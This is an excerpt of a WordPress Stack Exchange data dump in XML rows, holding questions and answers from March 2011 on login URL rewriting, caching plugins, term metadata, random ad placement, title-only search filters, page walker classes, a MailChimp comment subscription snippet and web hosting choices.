  <row Id="11810" PostTypeId="2" ParentId="11717" CreationDate="2011-03-12T00:39:48.237" Score="0" ViewCount="" Body="&lt;p&gt;gonna answer my own thread here ... turns out there is no way to hook or filter or string replace other than to hack core code and here is link to account of said hacks, even risking kitties -&gt;&#xA;&lt;a href=&quot;http://themehybrid.com/support/topic/fyi-how-to-prohibit-email-changes-in-profile-even-if-a-kitten-dies&quot; rel=&quot;nofollow&quot;&gt;http://themehybrid.com/support/topic/fyi-how-to-prohibit-email-changes-in-profile-even-if-a-kitten-dies&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3887" LastActivityDate="2011-03-12T00:39:48.237" />
  <row Id="11811" PostTypeId="2" ParentId="11807" CreationDate="2011-03-12T00:55:07.093" Score="2" ViewCount="" Body="&lt;p&gt;The quickest way to do this is through an Apache rewrite via &lt;a href=&quot;http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html&quot; rel=&quot;nofollow&quot;&gt;mod_rewrite&lt;/a&gt;. You'll also have to tell WordPress where to points its login links using the &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/login_url?version=3.1&amp;amp;file=wp-includes/general-template.php&quot; rel=&quot;nofollow&quot;&gt;login_url&lt;/a&gt; and &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/logout_url?version=3.1&amp;amp;file=wp-includes/general-template.php&quot; rel=&quot;nofollow&quot;&gt;logout_url&lt;/a&gt; filters.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  return apply_filters('login_url', $login_url, $redirect);&#xA;  return apply_filters('logout_url', $logout_url, $redirect);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1860" LastEditorUserId="1860" LastEditorDisplayName="" LastEditDate="2011-03-12T01:01:10.007" LastActivityDate="2011-03-12T01:01:10.007" CommentCount="9" />
  <row Id="11812" PostTypeId="2" ParentId="11641" CreationDate="2011-03-12T00:56:05.143" Score="0" ViewCount="" Body="&lt;p&gt;If you use &quot;IF NOT EXISTS&quot; then the dbdelta script will not upgrade your database with delta's appeared after the initial creation of the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(assuming you want to re-use the same sql script)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;at least... that is what i think&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2011-03-12T01:34:20.977" LastActivityDate="2011-03-12T01:34:20.977" />
  <row Id="11813" PostTypeId="1" CreationDate="2011-03-12T01:50:21.063" Score="0" ViewCount="48" Body="&lt;p&gt;I'm wondering if anyone has had any luck using W3 Total Cache to build a cached/CDNed site while installing the WP-LESS plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;W3 Total Cache does some magic in wp_enqueue_style, etc. (I think) to identify the files that need to be cached, and instead serve them from a CDN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP-Less does the same, to convert a reference to a .LESS file into its compiled .CSS output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I think it means that W3TC can't see the .CSS output, so it will never send the output CSS up to the CDN (despite the fact that after both has run, the page properly references the .CSS file, not the .LESS file)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize this is a shot in the dark, so maybe more generally, does anyone have any solution for LESS + W3TC? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1446" LastActivityDate="2011-03-12T01:50:21.063" Title="Using WP-LESS and W3TC at the same time?" Tags="&lt;css&gt;&lt;plugin-w3-total-cache&gt;&lt;cdn&gt;" />
  <row Id="11814" PostTypeId="1" AcceptedAnswerId="11815" CreationDate="2011-03-12T02:05:20.610" Score="0" ViewCount="120" Body="&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I'm now trying to find a way to echo the metadata of a custom taxonomy's value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to create some PHP to use in a plaintext widget that'll display information in my sidebar.&#xA;Because some of the information will be identical across some of the parts of the site instead of storing the information in custom fields I'm trying to store it in a MYSQL table. What I'd like the code to do is to identify the post taxonomy, lookup the id field in my table, find the row with that shares the id with the taxonomy and then echo the values of other fields on that row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my taxonomy setup as well as my table but I can't find much of a precedent for this and therefore I'm struggling to know where to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I'm trying to call the current post taxonomy's value but I can't get it to work outside the loop&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$current_tax = get_query_var('game');&#xA;echo $current_tax;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3854" LastEditorUserId="3854" LastEditorDisplayName="" LastEditDate="2011-03-12T11:19:30.450" LastActivityDate="2011-03-12T11:19:30.450" Title="Returning info from MYSQL table via custom taxonomy" Tags="&lt;custom-taxonomy&gt;&lt;mysql&gt;" AnswerCount="1" />
  <row Id="11815" PostTypeId="2" ParentId="11814" CreationDate="2011-03-12T02:42:20.280" Score="0" ViewCount="" Body="&lt;p&gt;First of all, what you're calling $current_tax would more appropriately be named $current_term. The taxonomy is 'game'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, what you're trying to do is basically adding term metadata. There already are several plugins that provide the custom table and functions for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-term-meta/&quot; rel=&quot;nofollow&quot;&gt;Simple Term Meta&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-12T02:42:20.280" CommentCount="3" />
  <row Id="11816" PostTypeId="1" CreationDate="2011-03-12T02:46:05.227" Score="2" ViewCount="116" Body="&lt;p&gt;Anyone knows of any plugin or anyone has been using WordPress to serve as a College Application system similar to those by &lt;a href=&quot;http://www.embark.com/&quot; rel=&quot;nofollow&quot;&gt;Embark&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, I'm looking for idea of using current plugins to accomplish this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The system would allow students to create an account, upload their documents, check their status, invite people to submit a letter of recommendation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The admin would then be able to manage those applications, change the status, notify the applicants.&lt;/p&gt;&#xA;" OwnerUserId="3008" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-12T09:27:56.117" LastActivityDate="2011-05-12T09:27:56.117" Title="Wordpress as College Application System (Embark)" Tags="&lt;plugin-development&gt;&lt;development-strategy&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" />
  <row Id="11817" PostTypeId="1" CreationDate="2011-03-12T08:15:31.380" Score="0" ViewCount="89" Body="&lt;p&gt;Hi i am working on a theme which is image based . i want to show 2 ads after random number of posts . e.g if the page is loaded 1st time the 1st ad should show after 3rd post and 2nd ad should show after 8th post. And on refresh the ad positions should change to something else. Presently , the code i am using shows ads at fixed position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) { &#xA;             $postcount = 0; &#xA;                while (have_posts()) { the_post(); &#xA;  $postcount ++; ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if( $postcount &amp;gt; 0 &amp;amp;&amp;amp; $postcount &amp;lt;= 1 || $postcount &amp;gt; 3 &amp;amp;&amp;amp; $postcount &amp;lt;= 4 ) { ?&amp;gt;&#xA;    &amp;lt;li class=&quot;ad_zone&quot;&amp;gt;&#xA;        ad appears here&#xA;    &amp;lt;/li&amp;gt;&amp;lt;?php } ?&amp;gt;&#xA;&#xA;    &amp;lt;li class=&quot;thumbnail&quot;&amp;gt;&#xA;         thumbnail comes here&#xA;    &amp;lt;/li&amp;gt;&#xA; &amp;lt;?php  } } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edited : Some how was able to do with the following code but i dont think its an appropriate approach, looking for something better.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $rand = array();&#xA;$total = 2;&#xA;$min = 1;&#xA;$max = 4;&#xA;while (count($rand) &amp;lt; $total ) {&#xA;$r = mt_rand($min,$max); &#xA;if ( !in_array($r,$rand) ) {&#xA;$rand[] = $r;&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;     &amp;lt;?php if (have_posts()) { &#xA;             $postcount = 0; &#xA;                while (have_posts()) { the_post(); &#xA;  $postcount ++; ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if( $postcount == $rand[1] || $postcount == $rand[0] ) { ?&amp;gt;&#xA;    &amp;lt;li class=&quot;ad_zone&quot;&amp;gt;&#xA;        ad appears here&#xA;    &amp;lt;/li&amp;gt;&amp;lt;?php } ?&amp;gt;&#xA;&#xA;    &amp;lt;li class=&quot;thumbnail&quot;&amp;gt;&#xA;         thumbnail comes here&#xA;    &amp;lt;/li&amp;gt;&#xA; &amp;lt;?php  } } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3468" LastEditorUserId="3468" LastEditorDisplayName="" LastEditDate="2011-03-12T08:46:33.897" LastActivityDate="2011-03-12T08:46:33.897" Title="display ads in random position in the loop" Tags="&lt;theme-development&gt;&lt;php&gt;&lt;loop&gt;&lt;ads&gt;" />
  <row Id="11818" PostTypeId="2" ParentId="11803" CreationDate="2011-03-12T09:17:52.293" Score="1" ViewCount="" Body="&lt;p&gt;Did you thought going to cloud storage/servers? Like Amazon (S3), Rackspace(Cloud files)?&#xA;The best thing is that you can pay how much you use, it's scalable, plus they both offer great CDN so your loading times will be almost the same anywhere in the world.&#xA;They also have a calculator and you can see how much it will cost u.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can give it a try first by uploading some images and see the results. &#xA;I think it's a good choice because i see your problem more as traffic/storage problem.&lt;/p&gt;&#xA;" OwnerUserId="3890" LastActivityDate="2011-03-12T09:17:52.293" />
  <row Id="11820" PostTypeId="1" AcceptedAnswerId="11833" CreationDate="2011-03-12T12:21:12.313" Score="0" ViewCount="288" Body="&lt;p&gt;I have a custom taxonomy called 'game'; posts have a taxonomy value, i.e. Halo, which then has seven different fields; game_name, game_genre etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to echo the meta data for a given post's custom taxonomy albeit without much luck.&#xA;The small piece of PHP that I tried to use to echo the metadata for the field game_name (designed to be run in a PHP widget) doesn't appear to work. It uses a custom hook created by the plugin &lt;a href=&quot;http://www.thinkoomph.com/plugins-modules/wordpress-simple-term-meta/&quot; rel=&quot;nofollow&quot;&gt;Simple Term Meta&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $term;&#xA;echo get_term_meta($term-&amp;gt;ID, 'game_name', true);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help in sorting this out would be appreciated, I didn't realise it'd be this complicated.&lt;/p&gt;&#xA;" OwnerUserId="3854" LastEditorUserId="3854" LastEditorDisplayName="" LastEditDate="2011-03-13T20:09:59.697" LastActivityDate="2011-03-14T10:23:57.023" Title="Echo Custom Taxonomy Field Values Outside the Loop" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="11821" PostTypeId="1" AcceptedAnswerId="11830" CreationDate="2011-03-12T13:10:16.303" Score="0" ViewCount="217" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;menu&quot;&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;?php wp_list_pages('exclude=&amp;amp;title_li='); ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;creates the following output...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;menu&quot;&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Page 1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Page with Subpages&amp;lt;/a&amp;gt;&#xA;            &amp;lt;ul class=&quot;children&quot;&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Page with another subpage&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;ul class=&quot;children&quot;&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;subsubpage&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Page 3&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Page 4&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All pages with children have a &lt;code&gt;ul class=&quot;children&quot;&lt;/code&gt; applied. Is it possible to create any function (or any other way) to append a classname to all pages THAT HAVE CHILDREN? In my example above only the &quot;Page with Subpages&quot; and it's first child-page &quot;Page with another subpage&quot; should have a &lt;code&gt;li.parent&lt;/code&gt; applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible on the serverside? I'm able to do it with javascript, however I wonder if there is a better and cleaner way to do it serverside?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you&lt;/p&gt;&#xA;" OwnerUserId="3529" LastActivityDate="2011-03-12T15:15:20.200" Title="class=&quot;parent&quot; for wp_list_pages?" Tags="&lt;php&gt;&lt;functions&gt;&lt;pages&gt;" AnswerCount="1" />
  <row Id="11822" PostTypeId="1" AcceptedAnswerId="11826" CreationDate="2011-03-12T14:06:33.340" Score="1" ViewCount="269" Body="&lt;p&gt;Is there a way to limit search to post titles? I know I can modify query.php core file but there must be a way to do it with hooks right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-08-04T12:44:24.033" Title="how to limit search to post titles?" Tags="&lt;3.0&gt;&lt;search&gt;&lt;hooks&gt;&lt;actions&gt;" AnswerCount="1" />
  <row Id="11823" PostTypeId="2" ParentId="11803" CreationDate="2011-03-12T14:15:08.807" Score="1" ViewCount="" Body="&lt;p&gt;I can +1 for Linode. I was with them for about a year and it was fast, fast, fast. Shared hosting can't even compare. Sadly, I was in way over my head technically and eventually switched back to shared hosting for fear of having a problem that I wouldn't be able to resolve. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, if the prospect of setting up a web server in Ubuntu or CentOS doesn't frighten you, then go ahead. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, stay far far away from Media Temple. The people with the Media Temple badges in their footer bars are sponsored and hence taken care of. I've tried a lot of different hosts over the years, but Media Temple was just painfully slow. &lt;/p&gt;&#xA;" OwnerUserId="3877" LastActivityDate="2011-03-12T14:15:08.807" />
  <row Id="11824" PostTypeId="2" ParentId="11803" CreationDate="2011-03-12T14:24:05.977" Score="1" ViewCount="" Body="&lt;p&gt;I suggest using Bluehost shared hosting package, if you don't want to pay much. The package gives you unlimited storage and bandwith. In my case, my website loads very fast (with the same traffic as yours).&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-03-12T14:24:05.977" />
  <row Id="11825" PostTypeId="1" CreationDate="2011-03-12T14:31:32.383" Score="0" ViewCount="78" Body="&lt;p&gt;Recently I noticed that if I had post tags that are the same as a page name, wordpress is updating the tag to the page title rather than the slug entered. So in this case if I give wordpress the tag &lt;code&gt;'adventure-training'&lt;/code&gt; it is updated to &lt;code&gt;'Adventure Training'&lt;/code&gt; similar to the name of a page on the site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I stop that from happening. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marvellous&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-06-12T14:01:05.267" Title="Tags are automatically converted if they match post names. Stop It!" Tags="&lt;page&gt;&lt;tags&gt;&lt;update&gt;" AnswerCount="2" CommentCount="6" />
  <row Id="11826" PostTypeId="2" ParentId="11822" CreationDate="2011-03-12T14:51:08.393" Score="3" ViewCount="" Body="&lt;p&gt;Here's a filter that'll do the trick. Drop it into your theme's &lt;code&gt;functions.php&lt;/code&gt; or a plugin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Search SQL filter for matching against post title only.&#xA; */&#xA;function __search_by_title_only( $search, &amp;amp;$wp_query )&#xA;{&#xA;    global $wpdb;&#xA;&#xA;    if ( empty( $search ) )&#xA;        return $search; // skip processing - no search term in query&#xA;&#xA;    $q = $wp_query-&amp;gt;query_vars;    &#xA;    $n = ! empty( $q['exact'] ) ? '' : '%';&#xA;&#xA;    $search =&#xA;    $searchand = '';&#xA;&#xA;    foreach ( (array) $q['search_terms'] as $term ) {&#xA;        $term = esc_sql( like_escape( $term ) );&#xA;        $search .= &quot;{$searchand}($wpdb-&amp;gt;posts.post_title LIKE '{$n}{$term}{$n}')&quot;;&#xA;        $searchand = ' AND ';&#xA;    }&#xA;&#xA;    if ( ! empty( $search ) ) {&#xA;        $search = &quot; AND ({$search}) &quot;;&#xA;        if ( ! is_user_logged_in() )&#xA;            $search .= &quot; AND ($wpdb-&amp;gt;posts.post_password = '') &quot;;&#xA;    }&#xA;&#xA;    return $search;&#xA;}&#xA;add_filter( 'posts_search', '__search_by_title_only', 500, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Most of the code is just copied from the &lt;code&gt;WP_Query&lt;/code&gt; class, except with the &lt;code&gt;post_content LIKE&lt;/code&gt;'s removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; This code has been updated for WordPress 3.2.1. I'm surprised it even worked before as &lt;code&gt;$wpdb&lt;/code&gt; wasn't global!&lt;/p&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-08-04T12:44:24.033" LastActivityDate="2011-08-04T12:44:24.033" CommentCount="5" />
  <row Id="11827" PostTypeId="2" ParentId="11766" CreationDate="2011-03-12T15:10:00.720" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;$content_width&lt;/code&gt; is used for limit the image width in post content. It will overwrite setting in Media section for &lt;code&gt;large&lt;/code&gt; size. If you define this variable in &lt;code&gt;functions.php&lt;/code&gt; file, then the width of &lt;code&gt;large&lt;/code&gt; size of uploaded image will be &lt;code&gt;$content_width&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.deluxeblogtips.com/2010/05/max-image-size-wordpress-theme.html&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is a post about this.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-03-12T15:10:00.720" />
  <row Id="11828" PostTypeId="2" ParentId="11662" CreationDate="2011-03-12T15:10:26.730" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $attachments = get_children( array('post_parent' =&amp;gt; get_the_ID(), 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt;'image') );&#xA;    foreach ( $attachments as $attachment_id =&amp;gt; $attachment ) {&#xA;            echo wp_get_attachment_image( $attachment_id, 'medium' );&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This pulls all attachments for a post/page.&#xA;Attach more images to a post, and it will be listed&lt;/p&gt;&#xA;" OwnerUserId="1844" LastActivityDate="2011-03-12T15:10:26.730" CommentCount="1" />
  <row Id="11829" PostTypeId="1" AcceptedAnswerId="11878" CreationDate="2011-03-12T15:14:11.030" Score="1" ViewCount="139" Body="&lt;p&gt;I'm trying to apply &lt;a href=&quot;http://yoast.com/comment-email-subscription-form/&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; to my blog. I'm using Woothemes' &lt;a href=&quot;http://www.woothemes.com/2009/11/bueno/&quot; rel=&quot;nofollow&quot;&gt;Bueno Theme&lt;/a&gt; . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm adding this code to my theme's &lt;em&gt;functions.php&lt;/em&gt; file :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ymc_add_meta_settings($comment_id) {&#xA;  add_comment_meta(&#xA;    $comment_id, &#xA;    'mailchimp_subscribe', &#xA;    $_POST['mailchimp_subscribe'], &#xA;    true&#xA;  );&#xA;}&#xA;add_action('comment_post', 'ymc_add_meta_settings', 1);&#xA;&#xA;function ymc_subscription_add( $cid, $comment ) {&#xA;  $cid = (int) $cid;&#xA;&#xA;  if ( !is_object($comment) )&#xA;    $comment = get_comment($cid);&#xA;&#xA;  if ( $comment-&amp;gt;comment_karma == 0 ) {&#xA;   $subscribe = get_comment_meta($cid, 'mailchimp_subscribe', true);&#xA;if ( $subscribe == 'on' ) {&#xA;update_comment_meta($cid, 'mailchimp_subscribe', 'off');&#xA;&#xA;/////////////////////////////////////&#xA;///////MailChimp////////////////////&#xA;///////////////////////////////////&#xA;  $apikey   = 'MYAPIKEY-us2';&#xA;$listid   =  'MYLISTID';&#xA;$endpoint   = 'http://us2.api.mailchimp.com/1.3/?output=php';&#xA;&#xA;$request   = array(&#xA;  'apikey' =&amp;gt; $apikey,&#xA;  'id' =&amp;gt; $listid,&#xA;  'email_address' =&amp;gt; strtolower( $comment-&amp;gt;comment_author_email ),&#xA;  'double_optin' =&amp;gt; true,&#xA;  'merge_vars' =&amp;gt; array(&#xA;    ' &amp;lt;merge tag for name&amp;gt; ' =&amp;gt; $comment-&amp;gt;comment_author,&#xA;    'OPTIN_IP' =&amp;gt; $comment-&amp;gt;comment_author_IP,&#xA;  )&#xA;);&#xA;$result = wp_remote_post(&#xA;  $endpoint.'&amp;amp;method=listSubscribe', &#xA;  array( 'body' =&amp;gt; json_encode($request) ) &#xA;);&#xA;/////////////////////////////////////&#xA;///////MailChimp  Ended////////////////////&#xA;///////////////////////////////////&#xA;&#xA;&#xA;&#xA;}&#xA;  }&#xA;}&#xA;add_action('comment_approved_','ymc_subscription_add',10,1);&#xA;add_action('comment_post', 'ymc_subscription_add', 60,1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also this code added to &lt;em&gt;comments.php&lt;/em&gt; file of theme (below &lt;code&gt;&amp;lt;/form&amp;gt;&lt;/code&gt;) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input style=&quot;width: auto;&quot; type=&quot;checkbox&quot; name=&quot;mailchimp_subscribe&quot;   id=&quot;mailchimp_subscribe&quot;/&amp;gt;&#xA;&amp;lt;label for=&quot;mailchimp_subscribe&quot;&amp;gt;&#xA;Subscribe&#xA;&amp;lt;/label&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when i trying to send a comment, i'm getting this error :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: Missing argument 2 for ymc_subscription_add() in /home/content/blabla/themes/bueno/functions.php on line 36&#xA;&#xA;Warning: Cannot modify header information - headers already sent by (output started at /home/content/blabla/themes/bueno/functions.php:36) in /home/blabla/html/wp-comments-post.php on line 95&#xA;&#xA;Warning: Cannot modify header information - headers already sent by (output started at /home/blabla/html/wp-content/themes/bueno/functions.php:36) in /home/content/blabla/wp-comments-post.php on line 96&#xA;&#xA;Warning: Cannot modify header information - headers already sent by (output started at /home/blabla/html/wp-content/themes/bueno/functions.php:36) in /home/content/blabla/wp-comments-post.php on line 97&#xA;&#xA;Warning: Cannot modify header information - headers already sent by (output started at /home/contentblabla/html/wp-content/themes/bueno/functions.php:36) in /home/content/blabla/wp-includes/pluggable.php on line 897&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3552" LastEditorUserId="3552" LastEditorDisplayName="" LastEditDate="2011-03-12T23:47:25.313" LastActivityDate="2011-03-13T02:37:10.220" Title="Error While Sending Comment" Tags="&lt;comments&gt;&lt;email&gt;&lt;api&gt;&lt;subscription&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="11830" PostTypeId="2" ParentId="11821" CreationDate="2011-03-12T15:15:20.200" Score="2" ViewCount="" Body="&lt;p&gt;Phew! Bit more complex than I would've liked - if only the filter &lt;code&gt;page_css_class&lt;/code&gt; passed back &lt;code&gt;$args&lt;/code&gt; it would save a lot of effort (may submit this to trac).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyhoo, here be the code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Extend the default page walker class to append class names for pages that&#xA; * are parents.&#xA; * @uses Walker_Page&#xA; */ &#xA;class My_Page_Walker extends Walker_Page&#xA;{&#xA;    /**&#xA;     * Filter in the classes for parents.&#xA;     */&#xA;    function _filterClass( $class )&#xA;    {&#xA;        $class[] = 'parent'; // change this to whatever classe(s) you require&#xA;        return $class;&#xA;    }&#xA;&#xA;    /**&#xA;     * This is effectively a wrapper for the default method, dynamically adding&#xA;     * and removing the class filter when the current item has children.&#xA;     */&#xA;    function start_el( &amp;amp;$output, $page, $depth, $args, $current_page )&#xA;    {&#xA;        if ( !empty($args['has_children']) )&#xA;            add_filter( 'page_css_class', array( &amp;amp;$this, '_filterClass') );&#xA;&#xA;        parent::start_el( $output, $page, $depth, $args, $current_page );&#xA;&#xA;        if ( !empty($args['has_children']) )&#xA;            remove_filter( 'page_css_class', array( &amp;amp;$this, '_filterClass') );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd advise placing the class in your &lt;code&gt;functions.php&lt;/code&gt;, then it's available wherever you'd like to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use it, call &lt;code&gt;wp_list_pages()&lt;/code&gt; like so;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// You need to pass the walker argument to wp_list_pages(). You must use an&#xA;// array to do this.&#xA;wp_list_pages(array(&#xA;    'walker'   =&amp;gt; new My_Page_Walker,&#xA;    'title_li' =&amp;gt; ''&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-12T15:15:20.200" CommentCount="2" />
  <row Id="11831" PostTypeId="2" ParentId="11816" CreationDate="2011-03-12T15:15:36.673" Score="1" ViewCount="" Body="&lt;p&gt;If you're looking to take user-submitted content and make something useful of it, &lt;a href=&quot;http://wordpress.org/extend/plugins/tdo-mini-forms/&quot; rel=&quot;nofollow&quot;&gt;TDO Mini Forms (free)&lt;/a&gt; and &lt;a href=&quot;http://gravityforms.com/&quot; rel=&quot;nofollow&quot;&gt;Gravity Forms (commercial, starts at $39)&lt;/a&gt; are very good places to start.  Simply create a form and start collecting responses.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2011-03-12T15:15:36.673" CommentCount="3" />
  <row Id="11832" PostTypeId="1" AcceptedAnswerId="11834" CreationDate="2011-03-12T15:21:45.380" Score="0" ViewCount="121" Body="&lt;p&gt;How are you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a blog which have 20 authors. I want to write code to show the 5 author who have more posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adam (10 Posts)&#xA;Khal (8 Posts)&#xA;Yous (5 Posts)&#xA;Moha (3 Posts)&#xA;Yousef (1 Post)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I don't know how can do it that &lt;/p&gt;&#xA;" OwnerUserId="2076" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-03-12T18:47:07.273" LastActivityDate="2011-03-12T18:47:07.273" Title="List top 5 authors with most posts" Tags="&lt;3.0&gt;&lt;users&gt;&lt;page-template&gt;" AnswerCount="1" FavoriteCount="1" />
